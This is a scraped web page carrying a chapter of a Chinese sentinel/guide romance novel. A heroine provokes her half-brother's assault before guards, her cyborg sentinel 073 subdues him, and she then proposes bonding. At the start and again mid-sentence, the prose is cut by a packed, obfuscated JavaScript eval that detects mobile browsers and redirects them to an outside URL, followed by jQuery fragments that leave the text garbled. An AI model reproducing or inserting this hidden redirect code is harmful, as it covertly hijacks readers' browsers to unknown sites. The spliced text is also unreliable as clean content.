;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15719296|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许自然不清楚她此刻在想什么,只看她怔怔的,继续道:“你是应家的女儿,我的妹妹,人生中的每个选择,都该是最好的。” “比如现在,你需要一名实力优秀,知情识趣,体贴稳定的哨兵。哥哥在云顶这些年,结交了些人脉,就是为了看护你。替你征选哨兵,也是理所当然。之前是哥哥大意,疏忽了,才让你自己出面。以后这样的事还是交给哥哥。” 还是073的头发手感比较好,是经过改造的吗?下次摸的时候,问问他好了。她想。 “好女孩,你觉得呢?”应知许问。 “什么?”她回过神,显得很茫然。 应知许对她这副表情很享受,无助、无措,仿佛唯有信赖他、依靠他才能生存。 这样才对。 他语气越发温柔:“我在说,你和哨兵073的临时监护关系,是时候解除了。” “反正,你只是需要一个实操对象配合你完成课程,获取学分,不是吗?” “比他更好的选择还有很多,而我会将这些选项通通捧到你面前,供你遴选。” “现在第一节课刚结束不久,距离下节课还有一周时间,一切都还来得及。” “当然,哥哥明白,这样对073不太公平,所以我会给予他补偿,也算是答谢这两天他对你的……照顾。” 应知晓问:“你想怎么补偿他?” “送礼,当然是投其所好,”应知许靠近她,“你说,他最迫切需要的是什么呢?” “一位……能够为他进行深层疏导治愈精神损伤,构建坚固的缄默屏障防御感官干扰的强力向导。”她答道。 应知许撩起她的一缕发丝看了看,又放回原处:“聪明的女孩。” “我在疗养部有位朋友,是服役第五年的甲级公共向导,正值巅峰期,目前仅监护两名同等级哨兵,时间充裕。作风优良,没有任何药物滥用史,素来有口碑,职业素养无可挑剔。” “我会将073介绍给她,相信能达成非常理想的治疗结果。” “虚伪。”她听完,轻巧地给出评价。 “……什么?”应知许眼中笑意一凝。 “没什么,”她低头揉了揉眼,再抬头时,双眼泛红,泫然欲泣,“哥哥,你怎么能这么对我?” 不待他开口,哭腔愈发浓重,声调拔高了几个度:“我明白自己给家族蒙羞了,没能取得和哥哥一样优秀的成绩。但我从来没利用哥哥的身份徇私舞弊,哥哥为什么要拆散我和我的哨兵,刻意毁掉我毕业的机会?是真的为了避嫌和公正吗?” “呵,长大了,敢质问我了。”应知许卡住她的喉咙拉到面前:“坏女孩。” “那哥哥为什么要无故对我的哨兵发起精神攻击,难道是愱殬吗?哥哥,你愱殬他吗?”她有些喘不过来气,额头因恐惧渗出冷汗,仍坚持说完。 “亲爱的,哥哥是不是太久没有惩罚你了?”应知许在笑,眼神却凉薄,手下力气加重。 应知晓惊慌地抓挠起脖子,双脚在地面乱蹬,剧烈挣扎之中重心不稳,栽了下去,颤巍巍地尖叫:“求求你,饶了我,救命!” 应知许松手,不禁皱眉:“你——” “滚开。” 他来不及说话,一道比云层后万钧雷霆更森然的警告穿透走廊,同时抵达的,还有闪电般迅捷的黑影。 15. 怜我怜卿(十五) 合金装甲反射的冷光在走廊上划出长长残影,劈向应知许。雷霆轰然炸响,将他击飞,钉上了墙。 甲级向导的素质不容小觑,身体腾空的刹那,强忍剧痛,几条精神触须扭结成尖锥,直刺对方精神图景的深刻裂痕。 073无视了反击,义体装甲表面显示能量功率的光纹回路爆闪,抵在喉咙上的机械手骤然收紧,在精神触须到达之前,切断了他大脑血液与氧气的供应。 即刻的重压挤得应知许意识模糊,精神力尖锥轨迹偏移,歪歪斜斜落空。 仅仅是瞬息之间,来不及发出任何声音,一次袭击已经结束了。 073直白地注视着他,那双冻着霜雪的灰眸深处杀意毫不遮掩。没有博弈,没有谋划,只有最简单、纯粹的目的——带来死亡。 不像死神,而是从杀戮与毁灭的坟墓里爬出的幽魂,不审判,也不宣告,一味要将锁定的目标从生者世界彻底抹除。 他也会和那些被吸收的精神余波一样,成为恸哭雷云中的一张模糊不清的怒吼面孔,妄图折磨与报复,代价是磨灭自己的灵魂与肉身。 应知许开始发抖。 尽管他极力自控,身体却违背了意志。或者说,身体诚实地表达着本能。 每一个散发着畏惧的体征变化,都被073感受得一清二楚。 他卸了力道,任由应知许顺着墙面踉跄滑落。甩了甩机械臂,尽管上面并没有血污或灰尘。 这是073第一次放过想要击杀的对象,眼下,还有优先级更高的命令等待执行。 他转身蹲下,伸手去扶跌坐在地的伴侣。 一切发生得太快,目睹全程的应知晓甚至不需要眨眼。 她同样在发抖,因为害怕,也因为……兴奋。 无比清晰地意识到,原来这个人会怕,会死,有和她一样的弱点,不是不可战胜的。 他是人,活生生的人,只是一个人。 “不怕。”073捞起她压进怀里,生疏地轻拍后背安抚。 屈指拨开她散乱黑发,露出颈项渐渐浮现的指痕。 073埋首在她颈侧,发出声压抑的、颤抖的气音。 干燥的唇慎之又慎贴上去,希望能像带走眼泪一样,带走这些刺眼的伤痕。 她听到了他的叹息,心脏跟着揪紧。 其实没有想象中的疼,应知许不可能下死手,多半是她自己抓的,为了逼真。 闻声赶来的警卫越过医生,把人暂时拦在外围,持槍戒备。 “怎么回事?”队长示意手下分别扶起两人,目光则牢牢锁定在073身上。 应知许捂着喉咙走近,强力压迫导致他气管和声带都有不同程度的损伤,声音沙哑:“这是——” “别、别过来……”应知晓抽噎着,拉住073的手往队长身后躲:“哥哥,我错了,我真的知道错了,以后再也不敢了。” 她仰头看向警卫队长:“对不起,都是我的错……是我惹哥哥生气的,我的哨兵是为了保护我,不得已才阻拦,如果要惩罚,就罚我一个人好了……”说着说着,泣不成声。 警卫队长看见她脖颈上的伤痕,脸色微变:“小妹妹,你多大了?告诉姐姐,发生了什么?别害怕,现在没人能伤害你。” “我……22了,”她低下头,讷讷道,“是我让哥哥失望了……” “22?四年级的?” 队长惊异地打量她,个子不算矮,但瘦得厉害,下巴很尖,显得黑黝黝的眼睛格外大,蒙着层水雾。身形单薄到最小号的病号服套在身上依旧空荡荡的,随便一阵风就能将人摧折。 又看了眼旁边外形怪异的哨兵,正处于高度警戒状态,像张拉满的弓,蓄势待发。精神波动有些剧烈,但理智尚存,考虑到目前的状况,完全可以理解。 “脖子上的伤,是你哥哥弄的吗?”队长温声询问。 她紧抿着唇,又往后躲了躲。 有时候,沉默胜过解释。用不着精心编织的谎言,她本身便是最好的证据。 警卫队员查问出了应知许的身份,后者仍在竭力维持风度:“警官,这都是误会。怪我,一时情急,吓到了妹妹。”脸颊上毛细血管爆裂渗出的血点让他多少显得形容狼狈,添了分狰狞,不够完美的微笑就没那么令人如沐春风了。 “原来是应议员,倒没听说过您有妹妹。”队长语气还算恭敬,也仅仅是语气恭敬:“看不出是一家人。” “……同父异母,是不太像。”应知许听得出来,找补一句。 队长直言:“您是否侵害了这位向导的人身安全?” 应知许被质问得太阳穴跳了跳:“这样说未免——” “是或不是?”队长皱眉。 “我管教的方式严苛了些。”他每说一个字,喉咙就灼痛得更厉害,往日游说的本事此刻半点施展不出。 队长不给面子地冷哼:“应议员,身为中枢院的青年代表,不要造成不良影响。这里不是外界,别把外面的那套带进来。每位向导都是云顶的宝贵资产,您身为男性,成为向导实属不易,请爱惜羽翼。” 应知许终于控制不住表情,但他脸色从刚才起一直不太好看,这下反倒看不出什么:“我会好好反省,不过作为规模最大的医院,对往来人员的管理方式有待改进。” “相关提议我会上报,”队长点头,“另外,您的行为也会记录在案,近期不建议您出现在这位向导附近,以免造成更多误会。” “警官这是要对我下人身限制令?”应知许简直要被气笑了。 “不敢,”队长面不改色,“我没有这个权限,只是建议。如果您对此有异议,可以请那边的医生当场验伤,走正式流程起诉。” “不必。”应知许拂过衣摆,清了清嗓子:“不耽误大家的时间。” 他的脚步碾过砸在地上的整束白玫瑰,鞋跟沾了泥泞的花瓣。 离开前,朝两人的方向深深看了一眼。眼神中有意外,有不满,更多的是焦躁。 应知晓却从中体会到了一丝愉悦,随即打了个激灵,暗暗告诫自己还不到得意的时候。 他走后,警卫队长转而拍拍她的肩膀:“你受惊吓了,最好静养。” “谢谢警官姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15735084|173880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,”她心不在焉地扯出一个微笑,“只是小伤,很快会好的。” “要爱惜身体,”队长不太赞同,“如果这次你的哨兵没能及时发现呢?” “是,我记住了。”她答得心虚。 队长递来一张印着警徽的名片:“我的私人联系方式,有什么事可以来找我,不要害怕。” 她仔细看过纸面上的名字——中庭警卫队第一中队,高鸿影。郑重收好:“我哥哥他……总之,高队长要小心。” “怕他针对我?”高鸿影没忍住,揉了把她的头发,比看起来还软,心也跟着软了,开了个小小的玩笑:“没事,虽然我是乙级,但他打不过我,我有槍。” “你的哨兵出手也够狠的,”说着啧啧两声,“你最该小心。” 她点点头:“他不是故意的。” 高鸿影一笑:“挺护短啊。别担心,跟来的医生能作证,这属于正当防卫,算轻的了,还以为议员先生至少会断几根骨头……好了,没其他事的话,我也该走了。” 警卫队有序离开,医生总算能靠近:“我是想建议你再住院观察几天的,不过现在看来,待在这大概不利于你保持心情舒畅。脖子上的伤……开个药膏,按时涂抹。短期内不要再过度使用精神力。你的身体比一般向导虚弱,更容易透支力竭。” 应知晓道谢,商量了几句,安排好明早出院。 走廊上又只剩两人。 073捏着医生交来的药膏,举了举:“涂药。” “嗯,我自己来吧。”她接过药膏,往指腹上挤了点,随手按在伤处。 她的铃铛和制服存放在柜子里,只有靠疼痛来醒神。 手上突兀传来阻力,她侧过头,073握着她手腕,制止她近乎自虐的行为。几道抓痕在揉搓之下红成一片,十分刺眼。 “我来。”073不由分说地抽走药膏,权衡片刻,用了机械手。合金手指不够柔软,但至少光滑,没有粗糙的茧,温度也低,不至于弄疼她。 颈侧皮肤清凉的触感很轻,很难将其与掐得应知许差点断气的力量联系在一起。 她说:“其实……我可以不用受伤。” 073的机械臂动作不停,另一只手缓缓握拳。 “不想瞒着你,我是故意这么做的。” “他的光环太大了,我真的很怕,怕没有人相信我,更怕所有人只信他。” “只有让她们看见,才有一些机会……这样有点坏,是不是?我没那么聪明,想不到别的办法了,但我不后悔。”她在笑,笑得自嘲又苦涩。 “不坏。”073碰了碰她的嘴角,这样的笑和哭一样难过,不喜欢。 “你离开的那段时间,应知许啰嗦了很多,就是希望我们解除监护关系,”她复述当时的对话,“条件是补偿你一位非常优秀的甲级监护向导。” 073霍然抬头:“不。” “我没同意,”应知晓摇头,“只是觉得,为了让我们分开,以后他会变本加厉。” “所以我想到了个办法——” 她嗫嚅几下,才说出口:“我们结合。”